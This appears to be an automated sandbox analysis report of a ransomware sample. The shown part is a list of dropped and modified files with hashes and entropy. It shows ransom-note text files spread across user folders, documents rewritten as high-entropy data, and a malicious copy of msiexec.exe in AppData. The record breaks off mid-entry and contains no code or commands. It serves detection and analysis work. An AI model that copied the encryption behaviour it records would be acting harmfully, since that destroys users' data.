SHA-256:	D105CEFDB748F4163FA6AC6CFFA1130FCCDB8BCC033FF7827ED7F5795D8ED8FD
SHA-512:	1DB15A540A286AB9E46D1C8FA2584E2C51047CC2B7DA23402A706B1B65AFCFBCD6B580C6A29F925A837E174171E779808B50E98651ADA6CEE39A8BC177DBD5DE
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68608723845969
Encrypted:	false
MD5:	5AC82E02325B9E7489F1F26E96146A9F
SHA1:	2589D2D1581516DEC0067F3CC4DCC1954B0BFAE2
SHA-256:	156A77EAF3D4655D9A717950CD6AC94266A2B496A92D0E8BDD91C8B107B58E3C
SHA-512:	6D0115E1EDD3511C7D4269E99E73831418BA2F4A590AA2771C5C1D9DC2517CFA353651A3F1419851EFED8DD861CA4C0D4F8AEC4BF627118252E497ED95B09487
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Office\Word11.pip
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688828032052283
Encrypted:	false
MD5:	EC62C1B62563E46E42AAFE3AC90402FD
SHA1:	7716055CCB7C82430497E95030A00FD837C14E4E
SHA-256:	04311B778438B672EA2D21A2D41B479561F44A1E16278C6CC9BD960BEB5A5593
SHA-512:	79FDEB8F89EEAC8EF60393C20E3016EB3963C661D3FD76BA61886625DDF19A8C844D639635B9E0F9F8C66A85C65A0E8BA5722CDE389BFF4267555EC265999F22
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\CREDHIST
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669808950255262
Encrypted:	false
MD5:	502B63A5B9F38AE9D27082471FD53BB8
SHA1:	07AA791E1CC3CF879485D165DC8D1054F3FC8BFF
SHA-256:	0FD3B9B3125739BA19E1E08F7FA08E9B79688FE646D60FE8ECC5C1C6613FAA09
SHA-512:	2DF5CFD51FAE0D287B277DBE383D58C54055D6A69A32F0A2433F9EBADF6B1D04BB1BA75A9DDB1D94A31A21F9B1E136837CE0139F1E832523C3F8B689ADEB0FE8
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\0dac9c85-79d1-4561-a9a9-89287d5873f4
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688663507160447
Encrypted:	false
MD5:	FB743A8186D7750456537502823C98CF
SHA1:	377568AAF019177CA2157FDD5452636EFF2CFD93
SHA-256:	8E6DA521F3890B3CEE125383799EAC50893B40BF0010C0B1924E322936522B02
SHA-512:	D01700B7CE06F24698D91133709558815589DB9AA533D1FC8EBD4A484940BB6E4D4C17014AA236193ADD119FB61CE308A66B869D7BD51AD592A0FCC5F94637AA
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\4733c24e-151f-4768-9216-aff0c7269510
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702126110749104
Encrypted:	false
MD5:	F17D75012C8542F0EEB1F502B61CB0D0
SHA1:	FC70FFA08CBDF2F3235CB66727609F94BE1F88B1
SHA-256:	17BBED45DB6FF88CB5A918059977C0287E144F74E7CC26AEFAD84BE61EB6ED98
SHA-512:	756BB11A910FA4592D719172E5A8CEEF29BEE17FEC1E226B8683D7537700FEBDCDD83E1F4037AB3ED31CE807E23D122E513C9070F856FB2F3A950BFAB9634A94
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\5baa2056-d539-4cf4-b22b-eac91ffa3738
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.677489577332473
Encrypted:	false
MD5:	F3C758079C423F00C9C8F94A4D516AE3
SHA1:	F8341898E9C7F189516F94876D630CDE636362BE
SHA-256:	A97917448D76607FF054152F59FF40A9B3055B0060F82E1BA78C059A02FA7227
SHA-512:	2340B27FBDCDC731C897D7A59B14C7FB48E29A794D1CA7028F620B4A8FECC5B60B4D478F92A0566EB801DBE21850634FBF881D6492D3BF20BFBD551FDE8B8A9B
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\9d3d9f1a-195b-4e31-aab6-0af79c0d85c6
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6668600080272205
Encrypted:	false
MD5:	8D86296EB4DE52EF8A373183DA2BE250
SHA1:	2D4FE2F3C8191AF1FEB9E4D1ECB66683D48B947F
SHA-256:	745A4BABEA7FDD26D593AF75FE3AE878D638C66724297F40C81E65875772F98B
SHA-512:	5F988D48DF5896360AB8BCCC8C6BCDD3D2B61A6DF678A0E9B674CEB89D7F4FCFB58C04C7ED86FAF48CC531A0E72C3DB1B4BA826071EAC96391407EAF200B67E9
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\Preferred
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663337368982511
Encrypted:	false
MD5:	B694D39B31D6CCC059482BEBC11A51C1
SHA1:	3F4C7F9C774290D4AB76CB9C7D693EB1EF802D31
SHA-256:	9620538CB0D65A31A4717F5DF1F9AB030EB89462D954E4BDD24D6C77E78721A8
SHA-512:	C01013F52E2871E02E8B204A38E19E7FAAA16C397D2592AD21E73B3A83A8A8677DDBAE2DBABA58F03EC8CEC3F379847D5B7533B34D9F62B59ACD768DA2EB0915
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\a636cc07-a802-46cb-9d95-cd887da6294b
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.71125887243918
Encrypted:	false
MD5:	DB5F99BD3A85BAE745A75C07031C759D
SHA1:	19A6AFD0201C803B371D02E121AE8F599D27D700
SHA-256:	9469F216B49B28C0E881987C63AA714745942800FA4A95C2A5536929DFC5810F
SHA-512:	A3F0C5B283A2A81D935331EC5AA78FF27D67FD3D27BEC6D44A046BDC9DFDD769BD489F615B276C4B67659A524A645DF14282E7F332851E462FF73DBB48A06A90
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\afa1b8f0-e5f9-4a2f-ab8f-eeef245292c8
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.714510423504263
Encrypted:	false
MD5:	D91138F9DAD0A5DC73DC84EC09A2DF2D
SHA1:	2D684ED71526B261817D30041752E5818B6B6F4C
SHA-256:	BC157876135453AF8DDB1334618FDB47995129F7ECFE0E35D22357129E12ECD4
SHA-512:	62311221A886671A3ADA3712D5B8740A8AAA3784CB804B08E3D40AEBBDFB6601BFF842D7647B29465A7F091ED52D952A723EE96310873D866EACE95301668B6A
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\bc88c8b5-1d2e-460e-8c59-6f584a4ce04e
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.644984649874993
Encrypted:	false
MD5:	703E5420C35C2CE1657C28EBF706DD25
SHA1:	1FBCD4A854FA4C01A865EB05CDDCD6A549ADC286
SHA-256:	44651640D9CCF0ECBA4087B0A4FC9AA54FF74B10E6BA483B5E05AA6B163921FD
SHA-512:	74AF87DB214855080E33FD6561EFDFA8002B50F32924678F025885F2CCBD12AAC032B4655A3A288F8BE20D908035D3E6FA920436782BB75C203243CC9284A468
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-2324872810-588167701-2066199298-1000\bdadce47-6f0f-4e52-b19d-4beaec860497
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.728156089378147
Encrypted:	false
MD5:	154FC0D0911252AA6325ACE474FF9DF4
SHA1:	F26EC7FDBB0C8C1B960BC98674A17B740100D865
SHA-256:	FB6E13CC051D0E590FD4B963BE8F7E5BCE33DE99C618D5F580AD0C09634D7356
SHA-512:	59C13A8853645C32B95391BA323713FB08E60087E72D4D5425B444CE0A4A72D6CDE29AB6370191299DC19C699AC520286C905C42BDB7526BBD2714B9DF7138F1
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Templates\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Roaming\Microsoft\Templates\Normal.dot
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.664176161927311
Encrypted:	false
MD5:	FF4A67FA2E448390D1405E2630C8C86B
SHA1:	95D12AC966B3CF92086FC42C22283E2301C1262E
SHA-256:	65819FF557B721878B7D5B30F2211261D5B4D7EAF72F1E26F0E2FF92AB06B4CD
SHA-512:	1591421B41C37F0F1772F90ABF46D9F3B97752EDFC4D43BE4EBB635AD57EAFA6D67D65584AAAA04CFF2EFBED326ABCA3FDAD944DC11DF3AD0EADFE5E06E2F770
Malicious:	false

C:\Users\user\AppData\Roaming\msiexec.exe
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Size (bytes):	1280000
Entropy (8bit):	5.893448147306304
Encrypted:	false
MD5:	D0E3D4473B4D7930D6CF9F6A8BD3EC7A
SHA1:	1166CFFEC6C74B680885BB20ADFFF1E8FAD21D6E
SHA-256:	5539C51066F5A171BA3302B22061BE1EA60417D32F385743981235E0CC70FF71
SHA-512:	38715B5A2A759B9A4478EF3FC258BF846C74202E195BA9FB63038F4165624AA27FF0953C0A2D6C066917E3F5F28C65A248679DE1920426ABBEAE2891DA0534F4
Malicious:	true

C:\Users\user\Contacts\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Contacts\desktop.ini
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6637729818539695
Encrypted:	false
MD5:	F284FFFE3A0F6A7E934F6E95E89E84B6
SHA1:	69DD8494E4E7764B200D820187C5502E3329542C
SHA-256:	143FE714DE65B12765CC00793FB11ECD2046CA26510F9FA83E87BCCDB5CCD16B
SHA-512:	54C4BC7D80990B33B7ABF231C1C1A6F02E6DEF2FC59797C9C9598C8A99C5051D5B93C412C407B04C74DF12292A3F748A3B87B3A5082DE4989FBB1569B7EECDE0
Malicious:	false

C:\Users\user\Contacts\user.contact
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.699792965804089
Encrypted:	false
MD5:	B2C5B497D2EF27A0FB88C1D159A209FF
SHA1:	8019F090D1BECAFE27CE8FBB29FE343D443E16D9
SHA-256:	80DFCBE357E95D36ECFAD674010D00160C85E5FC966A2BA6EF10B51AAA0B0DE6
SHA-512:	602790DBB5AF3AD158883FCADBDB3D9C5CF35A7AC7B2BEBC66CC37FCBFD027B44E5CD2FCD4EF2F7F7037D9BD75001C105446AF0A1F4BF53B7AEF99ADDF437B06
Malicious:	false

C:\Users\user\Documents\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Documents\BJZFPPWAPT.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.638241709571097
Encrypted:	false
MD5:	89EE0757DBEB0F7415A64F7D1F06C7CD
SHA1:	B32036D12A03F6475509CED84E89DF4AAAAFD5BB
SHA-256:	6DFCE34DC5AED8436790943EF72ED81144AF47BDC721F9AFCE78A9A3805A913A
SHA-512:	6146170048F950FF88267A24D0FEFE50537C79A69B79E36C0D18169E96A63FF65616BB764D67795E6B0A394F1D35C1153B84A3D23C901AA8D94502309760FF67
Malicious:	false

C:\Users\user\Documents\BNAGMGSPLO.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.686680469507454
Encrypted:	false
MD5:	17889E35C9B6D0161A95AE0412E41625
SHA1:	F8C2194FB04292C05E93BFE081755BCE9B74C828
SHA-256:	53DE2602A9DF225757F2B5F1DB606690DD6BBEB4AB950783E877F0AB3977D7AF
SHA-512:	5EBA85F490E9FFB502B55D2C46F4F0EDC990F1C40CE225C1B0CBFF9471DA2B5FBDE96E8791E5C91C5FFD0AFE21CB2BECB1682EFBA267B85313A2D45106AEE114
Malicious:	false

C:\Users\user\Documents\EOWRVPQCCS.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.703829476299145
Encrypted:	false
MD5:	F5C1FB5576EF3D7DF5B53160AE2AA7FE
SHA1:	580F1D1F268055018A71B62B2CB4504D73700627
SHA-256:	F57C7BB5FA05267283998129AD97674449FF3AE71ECD1E3D88F48DE59742E97D
SHA-512:	9B6B720105511AA808C967E39A366A46AB6CEC911C738BEAABBE6166FFD294A55460ED2D020A6F9EA7E1DC4BF4B59319CA12B009C08E46FFDB6283BEA1CF7A59
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695001236958063
Encrypted:	false
MD5:	7DB02C94D4F48D96A67A23F7D56C28C2
SHA1:	5806106EF5748F54EF5673A6CAC34E9E24BE51DB
SHA-256:	F8AC0C07C5CB3885A45651514535B048D82F2ADA5EB25BEE3FCD819E1B56AA66
SHA-512:	7C5A4B7403620E78FA5AE6B2E1D58E07918BDE40CBC4DD49A668846ACEFBC4EEE7F37313D740DB9FD4561FDB1F7FD7DF11A3AAD1E96E48E108DF1027B6A56B40
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702087278391108
Encrypted:	false
MD5:	C0401DB26491FC8741C609A10A3188EF
SHA1:	48F8D5E84E85FF7F70DB15B7429007BD7CCBE5CF
SHA-256:	D1719269CF69F4F662F2D00BA5932DA15364416AAD874BB4E76B243FC0FB9B74
SHA-512:	5E8A0EF43169EC72037D4CC333D7103948BBB5C56E85700241FBB192822E500F1B43417E7C7E87D6EFF144660FE15B7A8BA5C2BBE80B21BFD623893B90D24AD0
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\BJZFPPWAPT.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6959965470606
Encrypted:	false
MD5:	9B5ED3572D23B850126EFA09BB51631A
SHA1:	4B8113E1FEED9C053FC46D21D5A917B912AB3A1E
SHA-256:	B26822481721291027C44A1DDD592806AF529F2B94FCC576A23775A0664F6BF8
SHA-512:	B66C9B479DDD3C9FDB017306DFED195DC696B637ED0D0CC439157003C65C992F5B32ECBEC785B477498711D32F1BEBDC7FCE77AA945044BFDFEDA73B902E7225
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\BNAGMGSPLO.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670711425804108
Encrypted:	false
MD5:	8E9E02E9066B8E95DBB5A49B424C077D
SHA1:	24C9AD03B13D135C3216847BCA64447F0122EE97
SHA-256:	6268CA4FBA0287839F7CADE80A7E03D8D0E7424BB3DC39336E63569533F049AF
SHA-512:	9E003991DB954A4EF15AAC9425E1B443D70962C565CD42D22728E9075227E820B793AD7D9213D5503B4B2805A3B0B8F6E2F6FCF2E3DF4C4669B7EEADE71879E0
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\EOWRVPQCCS.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669659762071772
Encrypted:	false
MD5:	A1FBC8B6B56C5E4FC724DE1BF3D3AB51
SHA1:	94B4C6578E13868C6E3482B87FC5EBE2DDFD755D
SHA-256:	998C30E866E783F8DCF787AB86D98BD3534AEA79EC00920E5AB041D55175805C
SHA-512:	2ACCD518B03F0644FDB35B8286542D837D1C35D103AF26622D0C2E75BC96CA113B0D1D48D38A201B25815759FCCB69C4A14217C3AEB35AC83B4E911F26AE070C
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\GAOBCVIQIJ.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662862329890167
Encrypted:	false
MD5:	73BCD116C8EDF4261482A3E324E4D67A
SHA1:	E7D300E934731689AA12AF0FE72918291BA6AF97
SHA-256:	B62B7B2C5C65622FE717959132115B8738C5FF2A9BC00E909333B2AD38886277
SHA-512:	86661A8474D271308D81E7FC8913D8457C84F5D09DFD0D3C9D71828E2851EC87A74C94FD4314A249C73E259C37B7ACD638F7E908A76FF50660FF704705EB6D4A
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\NVWZAPQSQL.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702859610305539
Encrypted:	false
MD5:	86AD177D9011191B9E1C003DE72D8FC4
SHA1:	BB8C4B289D86C234071DDBB454BD0C2244F492AA
SHA-256:	C9FA5F08FD805E6AE55FB7BB6AC1B22A5C7A975F005BF44E4625B0652E4B9FC0
SHA-512:	F062F501DA2BFA4979A99ACFA9FC3C7FF083DDB0D2137B4E67E468375E1237AB7F4D3F314B1DCC910C587773AE41EA040070D8E99A48755ED54AC38DA3057F42
Malicious:	false

C:\Users\user\Documents\GAOBCVIQIJ\PWCCAWLGRE.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.67818363319437
Encrypted:	false
MD5:	065CEFC3911AC4D4575622247BA7BCFD
SHA1:	B2A2AB6383158156D6338E108058113A60186B47
SHA-256:	E6EE0EFF1C8E1AD39CBCA4F4DD53093FAD6CD3E995AB3380E97DEE4044017219
SHA-512:	E3609149E9FE2EA9509B4E5495AFCD8B4C3E87F5F862A7FFD649B52A5D37D55E2B9C5BFA5E319776179AD0D5F18BF3DEDEC294B219B5FA67D42C97025751EDB5
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.670412795859293
Encrypted:	false
MD5:	E5BB5DC6318CB66EED0C42E0AFE20362
SHA1:	626DFFDEB763894AA7FC8ADB6B523B7922FC612F
SHA-256:	8A973B3E4C533F6489A0BE72996DF166067C28E1F23EC13B3FD5FEF761A08D0A
SHA-512:	757583AE18208E989E69648D17AC4EFF7D2D891A78194750F1AEF902F77E8F9571ED17F5A4EA5615F8E2C6605195EC5B39C0EAE1BEFFA4B6EE7060E59027BFB4
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\GAOBCVIQIJ.pdf
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653105087346415
Encrypted:	false
MD5:	005B15DF404F5CE3E151568BE47FF7DA
SHA1:	C985AAB7CC377721DE662A11BD2D25E15DE94850
SHA-256:	A8B09771666B8260A56571C4910CC753AF2AF05CB622D9D53A6E9FF0619F4E0E
SHA-512:	EFD3604B5769825E95B09DE290DF5901451E8C1996F85430CC7092E6FE4662E29DBCCFCCA8C1DA670DAA9610DA3391DD7FCB3FDE550D57D1C67802640DF913FA
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\LSBIHQFDVT.docx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694733009378435
Encrypted:	false
MD5:	DAB786A54F801D60F2EDB2B3041B7F51
SHA1:	045B7CD3C15954AC295312CA73CAD4EBA1A913DF
SHA-256:	EBA4A2EA1E5DD29A7BE46FD84268585E3D18A939BEA6DC6D3D39AD3E1C499511
SHA-512:	6F8AA9DA5B7ECB569559CB3847FB52552634A3CA1E5D17CC9D9C8BDEA2E629B1D8803D82BFF1AA70D8B276A4C20F746D572DF0FBB26EA5B6BAE15CE3C752CEA0
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\PWCCAWLGRE.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.64720962355797
Encrypted:	false
MD5:	9E277DE0E68C1E044462326147325AC4
SHA1:	57C65AE84739CC1976F9BFC0C92EC6BEDB44EBEF
SHA-256:	5E62529B3909288EFF9A36F175462B928E887CC8D027EC35E19C213AF913D7C6
SHA-512:	37171DAFCBD5BF5B1AABC7A36531992481B40089D1940D9D9CF54DA25E792098E5F44E4E9F33257BEF1B9120985812371A8C0A5D40D673F5D96D42A4B22DA07D
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\QCFWYSKMHA.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.69450556261608
Encrypted:	false
MD5:	76CF33F6EAA4EDFD68A7BEE923453BCF
SHA1:	63FD9FABDF4766DF89D00A3639DC243C623E21A9
SHA-256:	E8B21AF2DD581ADFFC86F8E5309087C95119845E056375B407D3A27C17129EB2
SHA-512:	213FAD2508515AEDD456893D6C79C1E50A5DCCA897C177BF87B7AFDFA24696A9E5FA8A998CFFD531695F3AB2638548E4D35AC502A1415509B30AE8C59785B2BF
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\QNCYCDFIJJ.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.702280361369713
Encrypted:	false
MD5:	EFF5E5DA1301BB2B2935C72574E6F78A
SHA1:	C2E541691168B2694682CC0C02CCD160836D5CBE
SHA-256:	2F1BCF7C5225C6DD847BCDFA9728929250A3CFA37AEBBC09B20899340F91CF95
SHA-512:	2CBCC722C20823B5F94429BF008DD030CBC8FB5337B32F5B6CEB198793448F97E97AC7AF9CF3EE4DEACF79303F3530403DFD136EF880D822A903BBDBBB912464
Malicious:	false

C:\Users\user\Documents\LSBIHQFDVT\ZQIXMVQGAH.xlsx
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6912251998863805
Encrypted:	false
MD5:	AA42027092DA1B8CAFCC576ADEF2E225
SHA1:	CD5767F4596A7EB63749FBEA14B4796105DCDF7A
SHA-256:	1F37FBEDEC836C46A07290277F52FD41875516289A1BBF2A8189E549D60E4471
SHA-512:	2F5B68DC08DFC48D5A226E03A937D5DD52218D428997AAEDADEC125F5CBAA1B16E1452010CB6016EF8142BACD17B6E862D4B7C38F6BCD4C6BF4DC3C72B595F72
Malicious:	false

C:\Users\user\Documents\NVWZAPQSQL.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.651668848357432
Encrypted:	false
MD5:	49F2BFC42911AFBBE5F34E336EDE8CB6
SHA1:	B13697632BD1FD15CA70E75F67EAEEE49A33D613
SHA-256:	3928F79DE6051EA6E85C5BED203ECAD299129F6B5A4E4BE4C5073C73CB6D1826
SHA-512:	02EBA4E439F0EFB25DE2024B6BE96916B0FDD737D723335533236DEA1369C4FBC2B737F4365FECE149D23389E30F9CAA967704F7471270AAF23C1F53F48594F7
Malicious:	false

C:\Users\user\Documents\NVWZAPQSQL.mp3
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.673802666973761
Encrypted:	false
MD5:	4C498ABC128095200CAB59F45BC41D12
SHA1:	A5D05DA511D87BBD8F42DC109C6C7BA7CCB39D85
SHA-256:	D1CF4063848382C973A1B593BF3588AAB3176EDDD7D537DE247EA53C434D8E97
SHA-512:	4573E32B64293BF9BAA17183FE8C307BEBE2C778611E80D6C5C2C5C9DFA4041212D57EB7B621FBE269EEDC5B55270ED7A154CE6A0B1F6716592AA066D15C9002
Malicious:	false

C:\Users\user\Documents\PIVFAGEAAV.jpg
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663333153986101
Encrypted:	false
MD5:	5CC7D6788FB701161C75FC4706466FDC
SHA1:	FB304FA6C64788D8965DF2ED679A946587BDA0EE
SHA-256:	F658B1A7E42D733A9CFC78A8AEA5385C77B6374E88A1778A2024C55059AB59F0
